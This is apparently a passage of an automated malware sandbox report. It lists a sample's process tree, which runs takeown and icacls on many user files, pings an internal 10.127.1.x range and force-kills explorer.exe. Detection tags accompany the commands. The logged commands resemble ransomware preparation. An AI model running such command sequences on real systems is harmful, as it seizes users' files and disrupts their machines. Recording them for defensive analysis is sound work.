                                                                                                                                                            icacls \\?\C:\Users\Admin\Desktop\ConvertFromResume.lock /grant Admin:F
                                                                                                                                                            3⤵
                                                                                                                                                            • Modifies file permissions
                                                                                                                                                            PID:6320
                                                                                                                                                          • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                            icacls \\?\C:\Users\Admin\Desktop\DisableClose.dib /grant Admin:F
                                                                                                                                                            3⤵
                                                                                                                                                              PID:7140
                                                                                                                                                            • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                              icacls \\?\C:\Users\Admin\Desktop\EditRestart.pps /grant Admin:F
                                                                                                                                                              3⤵
                                                                                                                                                              • Possible privilege escalation attempt
                                                                                                                                                              PID:7080
                                                                                                                                                            • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                              icacls \\?\C:\Users\Admin\Desktop\EnableGrant.rle /grant Admin:F
                                                                                                                                                              3⤵
                                                                                                                                                              • Modifies file permissions
                                                                                                                                                              PID:7144
                                                                                                                                                            • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                              icacls \\?\C:\Users\Admin\Desktop\ExitRead.clr /grant Admin:F
                                                                                                                                                              3⤵
                                                                                                                                                              • Modifies file permissions
                                                                                                                                                              PID:7084
                                                                                                                                                            • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                              icacls \\?\C:\Users\Admin\Desktop\ConfirmComplete.txt /grant Admin:F
                                                                                                                                                              3⤵
                                                                                                                                                              • Possible privilege escalation attempt
                                                                                                                                                              • Modifies file permissions
                                                                                                                                                              PID:7088
                                                                                                                                                            • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                              icacls \\?\C:\Users\Admin\Desktop\GroupConvert.m4v /grant Admin:F
                                                                                                                                                              3⤵
                                                                                                                                                              • Possible privilege escalation attempt
                                                                                                                                                              • Modifies file permissions
                                                                                                                                                              PID:7092
                                                                                                                                                            • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                              icacls \\?\C:\Users\Admin\Desktop\ImportMount.docx /grant Admin:F
                                                                                                                                                              3⤵
                                                                                                                                                              • Possible privilege escalation attempt
                                                                                                                                                              • Modifies file permissions
                                                                                                                                                              PID:7156
                                                                                                                                                            • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                              icacls \\?\C:\Users\Admin\Desktop\InstallUnpublish.csv /grant Admin:F
                                                                                                                                                              3⤵
                                                                                                                                                              • Modifies file permissions
                                                                                                                                                              PID:7096
                                                                                                                                                            • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                              icacls \\?\C:\Users\Admin\Desktop\HideGet.gif /grant Admin:F
                                                                                                                                                              3⤵
                                                                                                                                                                PID:7148
                                                                                                                                                              • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                icacls \\?\C:\Users\Admin\Desktop\ConnectConvertTo.rmi /grant Admin:F
                                                                                                                                                                3⤵
                                                                                                                                                                • Possible privilege escalation attempt
                                                                                                                                                                PID:7152
                                                                                                                                                              • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                icacls \\?\C:\Users\Admin\Desktop\desktop.ini /grant Admin:F
                                                                                                                                                                3⤵
                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                PID:7016
                                                                                                                                                              • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                ping -n 1 -w 50 10.127.1.1
                                                                                                                                                                3⤵
                                                                                                                                                                • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                • Runs ping.exe
                                                                                                                                                                PID:6200
                                                                                                                                                              • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                ping -n 1 -w 50 10.127.1.2
                                                                                                                                                                3⤵
                                                                                                                                                                • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                • Runs ping.exe
                                                                                                                                                                PID:6816
                                                                                                                                                              • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                takeown /f \\?\C:\Users\Admin\Desktop\JoinRedo.vst
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:6720
                                                                                                                                                                • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                  ping -n 1 -w 50 10.127.1.3
                                                                                                                                                                  3⤵
                                                                                                                                                                  • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                  • Runs ping.exe
                                                                                                                                                                  PID:6976
                                                                                                                                                                • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                  takeown /f \\?\C:\Users\Admin\Desktop\OpenSend.txt
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Possible privilege escalation attempt
                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                  PID:6980
                                                                                                                                                                • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                  takeown /f \\?\C:\Users\Admin\Desktop\OutImport.ppsm
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:6628
                                                                                                                                                                  • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                    takeown /f \\?\C:\Users\Admin\Desktop\RegisterEnter.TTS
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:6740
                                                                                                                                                                    • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                      takeown /f \\?\C:\Users\Admin\Desktop\OptimizeEnter.docx
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Possible privilege escalation attempt
                                                                                                                                                                      PID:6956
                                                                                                                                                                    • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                      takeown /f \\?\C:\Users\Admin\Desktop\RequestMove.ods
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                      PID:6852
                                                                                                                                                                    • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                      takeown /f \\?\C:\Users\Admin\Desktop\ResizeExpand.vstx
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:6660
                                                                                                                                                                      • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                        ping -n 1 -w 50 10.127.1.4
                                                                                                                                                                        3⤵
                                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                        PID:6400
                                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Desktop\ReceiveResize.png
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                                        PID:6424
                                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Desktop\SaveUninstall.lock
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                        PID:6432
                                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Desktop\SubmitPing.docx
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                        PID:6336
                                                                                                                                                                      • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                        ping -n 1 -w 50 10.127.1.5
                                                                                                                                                                        3⤵
                                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                        PID:256
                                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Desktop\SearchBackup.cmd
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                                        PID:6256
                                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Desktop\UnpublishMove.m3u
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                        PID:6892
                                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Desktop\UnprotectJoin.jpeg
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                        PID:7136
                                                                                                                                                                      • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                        ping -n 1 -w 50 10.127.1.6
                                                                                                                                                                        3⤵
                                                                                                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                        PID:6228
                                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Desktop\WatchSplit.vbs
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:6836
                                                                                                                                                                        • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                          takeown /f \\?\C:\Users\Admin\Downloads\AssertTrace.rm
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                          PID:7184
                                                                                                                                                                        • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                          takeown /f \\?\C:\Users\Admin\Downloads\BackupPush.vdx
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                          PID:7192
                                                                                                                                                                        • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                          icacls \\?\C:\Users\Admin\Desktop\JoinRedo.vst /grant Admin:F
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                          PID:7280
                                                                                                                                                                        • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                          ping -n 1 -w 50 10.127.1.7
                                                                                                                                                                          3⤵
                                                                                                                                                                          • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                          • Runs ping.exe
                                                                                                                                                                          PID:7288
                                                                                                                                                                        • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                          icacls \\?\C:\Users\Admin\Desktop\OpenSend.txt /grant Admin:F
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:7356
                                                                                                                                                                          • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                            icacls \\?\C:\Users\Admin\Desktop\OutImport.ppsm /grant Admin:F
                                                                                                                                                                            3⤵
                                                                                                                                                                            • Possible privilege escalation attempt
                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                            PID:7368
                                                                                                                                                                          • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                            icacls \\?\C:\Users\Admin\Desktop\RegisterEnter.TTS /grant Admin:F
                                                                                                                                                                            3⤵
                                                                                                                                                                            • Possible privilege escalation attempt
                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                            PID:7376
                                                                                                                                                                          • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                            icacls \\?\C:\Users\Admin\Desktop\RequestMove.ods /grant Admin:F
                                                                                                                                                                            3⤵
                                                                                                                                                                            • Possible privilege escalation attempt
                                                                                                                                                                            PID:7384
                                                                                                                                                                          • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                            icacls \\?\C:\Users\Admin\Desktop\OptimizeEnter.docx /grant Admin:F
                                                                                                                                                                            3⤵
                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                            PID:7432
                                                                                                                                                                          • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                            icacls \\?\C:\Users\Admin\Desktop\ResizeExpand.vstx /grant Admin:F
                                                                                                                                                                            3⤵
                                                                                                                                                                            • Possible privilege escalation attempt
                                                                                                                                                                            PID:7512
                                                                                                                                                                          • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                            ping -n 1 -w 50 10.127.1.8
                                                                                                                                                                            3⤵
                                                                                                                                                                            • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                            • Runs ping.exe
                                                                                                                                                                            PID:7520
                                                                                                                                                                          • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                            icacls \\?\C:\Users\Admin\Desktop\SaveUninstall.lock /grant Admin:F
                                                                                                                                                                            3⤵
                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                            PID:7504
                                                                                                                                                                          • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                            icacls \\?\C:\Users\Admin\Desktop\ReceiveResize.png /grant Admin:F
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:7624
                                                                                                                                                                            • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                              icacls \\?\C:\Users\Admin\Desktop\SubmitPing.docx /grant Admin:F
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:7740
                                                                                                                                                                              • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                ping -n 1 -w 50 10.127.1.9
                                                                                                                                                                                3⤵
                                                                                                                                                                                • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                • Runs ping.exe
                                                                                                                                                                                PID:7768
                                                                                                                                                                              • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                icacls \\?\C:\Users\Admin\Desktop\SearchBackup.cmd /grant Admin:F
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:7824
                                                                                                                                                                                • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                  icacls \\?\C:\Users\Admin\Desktop\UnpublishMove.m3u /grant Admin:F
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                  PID:7880
                                                                                                                                                                                • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                  icacls \\?\C:\Users\Admin\Desktop\UnprotectJoin.jpeg /grant Admin:F
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                  PID:7968
                                                                                                                                                                                • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                  icacls \\?\C:\Users\Admin\Desktop\WatchSplit.vbs /grant Admin:F
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:7976
                                                                                                                                                                                  • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                    ping -n 1 -w 50 10.127.1.10
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                    • Runs ping.exe
                                                                                                                                                                                    PID:7984
                                                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                    icacls \\?\C:\Users\Admin\Downloads\AssertTrace.rm /grant Admin:F
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                    PID:8036
                                                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                    icacls \\?\C:\Users\Admin\Downloads\BackupPush.vdx /grant Admin:F
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                    PID:8044
                                                                                                                                                                                  • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                    ping -n 1 -w 50 10.127.1.11
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                    • Runs ping.exe
                                                                                                                                                                                    PID:7028
                                                                                                                                                                                  • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                    takeown /f \\?\C:\Users\Admin\Downloads\BackupSubmit.wvx
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                                                    PID:6444
                                                                                                                                                                                  • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                    ping -n 1 -w 50 10.127.1.12
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                    • Runs ping.exe
                                                                                                                                                                                    PID:7036
                                                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                    icacls \\?\C:\Users\Admin\Downloads\BackupSubmit.wvx /grant Admin:F
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                                                    PID:6980
                                                                                                                                                                                  • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                    takeown /f \\?\C:\Users\Admin\Downloads\ConnectOptimize.cab
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:6320
                                                                                                                                                                                    • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                      takeown /f \\?\C:\Users\Admin\Downloads\desktop.ini
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Possible privilege escalation attempt
                                                                                                                                                                                      PID:6536
                                                                                                                                                                                    • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                      ping -n 1 -w 50 10.127.1.13
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                      • Runs ping.exe
                                                                                                                                                                                      PID:6856
                                                                                                                                                                                    • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                      takeown /f \\?\C:\Users\Admin\Downloads\CompleteDisconnect.vsd
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Possible privilege escalation attempt
                                                                                                                                                                                      PID:6852
                                                                                                                                                                                    • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                      takeown /f \\?\C:\Users\Admin\Downloads\FormatPublish.csv
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:6828
                                                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\GrantSend.xps
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:6860
                                                                                                                                                                                        • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                          takeown /f \\?\C:\Users\Admin\Downloads\ImportExit.cr2
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Possible privilege escalation attempt
                                                                                                                                                                                          PID:6664
                                                                                                                                                                                        • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                          takeown /f \\?\C:\Users\Admin\Downloads\InitializeExpand.jpg
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Possible privilege escalation attempt
                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                          PID:6792
                                                                                                                                                                                        • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                          takeown /f \\?\C:\Users\Admin\Downloads\DisconnectDismount.dotm
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:6780
                                                                                                                                                                                          • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                            takeown /f \\?\C:\Users\Admin\Downloads\DisconnectRequest.xltm
                                                                                                                                                                                            3⤵
                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                            PID:6660
                                                                                                                                                                                          • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                            takeown /f \\?\C:\Users\Admin\Downloads\MeasureImport.txt
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:6504
                                                                                                                                                                                            • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                              takeown /f \\?\C:\Users\Admin\Downloads\MergeSkip.wmf
                                                                                                                                                                                              3⤵
                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                              PID:6336
                                                                                                                                                                                            • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                              takeown /f \\?\C:\Users\Admin\Downloads\MountLock.mp4
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:6756
                                                                                                                                                                                              • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                takeown /f \\?\C:\Users\Admin\Downloads\NewSubmit.nfo
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                • Possible privilege escalation attempt
                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                PID:6652
                                                                                                                                                                                              • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                takeown /f \\?\C:\Users\Admin\Downloads\OpenLimit.mpeg
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                • Possible privilege escalation attempt
                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                PID:7276
                                                                                                                                                                                              • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                takeown /f \\?\C:\Users\Admin\Downloads\PopWait.jpg
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:7196
                                                                                                                                                                                                • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                  ping -n 1 -w 50 10.127.1.14
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                  • Runs ping.exe
                                                                                                                                                                                                  PID:7896
                                                                                                                                                                                                • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                  ping -n 1 -w 50 10.127.1.15
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                  • Runs ping.exe
                                                                                                                                                                                                  PID:7264
                                                                                                                                                                                                • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                  ping -n 1 -w 50 10.127.1.16
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                  • Runs ping.exe
                                                                                                                                                                                                  PID:7356
                                                                                                                                                                                                • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                  icacls \\?\C:\Users\Admin\Downloads\ConnectOptimize.cab /grant Admin:F
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Possible privilege escalation attempt
                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                  PID:7864
                                                                                                                                                                                                • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                  icacls \\?\C:\Users\Admin\Downloads\CompleteDisconnect.vsd /grant Admin:F
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                  PID:7744
                                                                                                                                                                                                • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                  icacls \\?\C:\Users\Admin\Downloads\DisconnectDismount.dotm /grant Admin:F
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Possible privilege escalation attempt
                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                  PID:7908
                                                                                                                                                                                                • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                  icacls \\?\C:\Users\Admin\Downloads\DisconnectRequest.xltm /grant Admin:F
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:7760
                                                                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                    icacls \\?\C:\Users\Admin\Downloads\FormatPublish.csv /grant Admin:F
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                    PID:8172
                                                                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                    icacls \\?\C:\Users\Admin\Downloads\GrantSend.xps /grant Admin:F
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:8156
                                                                                                                                                                                                    • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                      icacls \\?\C:\Users\Admin\Downloads\ImportExit.cr2 /grant Admin:F
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:8188
                                                                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                        icacls \\?\C:\Users\Admin\Downloads\InitializeExpand.jpg /grant Admin:F
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:8176
                                                                                                                                                                                                        • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                          icacls \\?\C:\Users\Admin\Downloads\MergeSkip.wmf /grant Admin:F
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Possible privilege escalation attempt
                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                          PID:8168
                                                                                                                                                                                                        • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                          icacls \\?\C:\Users\Admin\Downloads\MountLock.mp4 /grant Admin:F
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                          PID:6940
                                                                                                                                                                                                        • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                          icacls \\?\C:\Users\Admin\Downloads\PopWait.jpg /grant Admin:F
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:7916
                                                                                                                                                                                                          • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                            icacls \\?\C:\Users\Admin\Downloads\desktop.ini /grant Admin:F
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:6616
                                                                                                                                                                                                            • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                              icacls \\?\C:\Users\Admin\Downloads\NewSubmit.nfo /grant Admin:F
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Possible privilege escalation attempt
                                                                                                                                                                                                              PID:7956
                                                                                                                                                                                                            • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                              icacls \\?\C:\Users\Admin\Downloads\MeasureImport.txt /grant Admin:F
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:7936
                                                                                                                                                                                                              • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                icacls \\?\C:\Users\Admin\Downloads\OpenLimit.mpeg /grant Admin:F
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Possible privilege escalation attempt
                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                PID:8032
                                                                                                                                                                                                              • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                ping -n 1 -w 50 10.127.1.17
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                • Runs ping.exe
                                                                                                                                                                                                                PID:7476
                                                                                                                                                                                                              • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                takeown /f \\?\C:\Users\Admin\Downloads\ProtectSend.asx
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Possible privilege escalation attempt
                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                PID:6420
                                                                                                                                                                                                              • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                ping -n 1 -w 50 10.127.1.18
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                • Runs ping.exe
                                                                                                                                                                                                                PID:7592
                                                                                                                                                                                                              • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                ping -n 1 -w 50 10.127.1.19
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                • Runs ping.exe
                                                                                                                                                                                                                PID:6836
                                                                                                                                                                                                              • C:\Windows\SYSTEM32\ping.exe
                                                                                                                                                                                                                ping -n 1 -w 50 10.127.1.20
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                                                • Runs ping.exe
                                                                                                                                                                                                                PID:6496
                                                                                                                                                                                                              • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                takeown /f \\?\C:\Users\Admin\Downloads\RenameStop.emz
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:7588
                                                                                                                                                                                                                • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                  icacls \\?\C:\Users\Admin\Downloads\ProtectSend.asx /grant Admin:F
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:6424
                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                    takeown /f \\?\C:\Users\Admin\Downloads\RequestUnlock.reg
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                    PID:6732
                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                    takeown /f \\?\C:\Users\Admin\Downloads\ResetSync.wav
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:6824
                                                                                                                                                                                                                    • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                                                                                      icacls \\?\C:\Users\Admin\Downloads\RenameStop.emz /grant Admin:F
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:6364
                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                                                                                                                        taskkill /f /im explorer.exe
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                        PID:7908
                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\ResumeComplete.midi
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                        PID:6476
                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                                                                                        takeown /f \\?\C:\Users\Admin\Downloads\ResumeSet.xps
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                        PID:6384
                                                                                                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
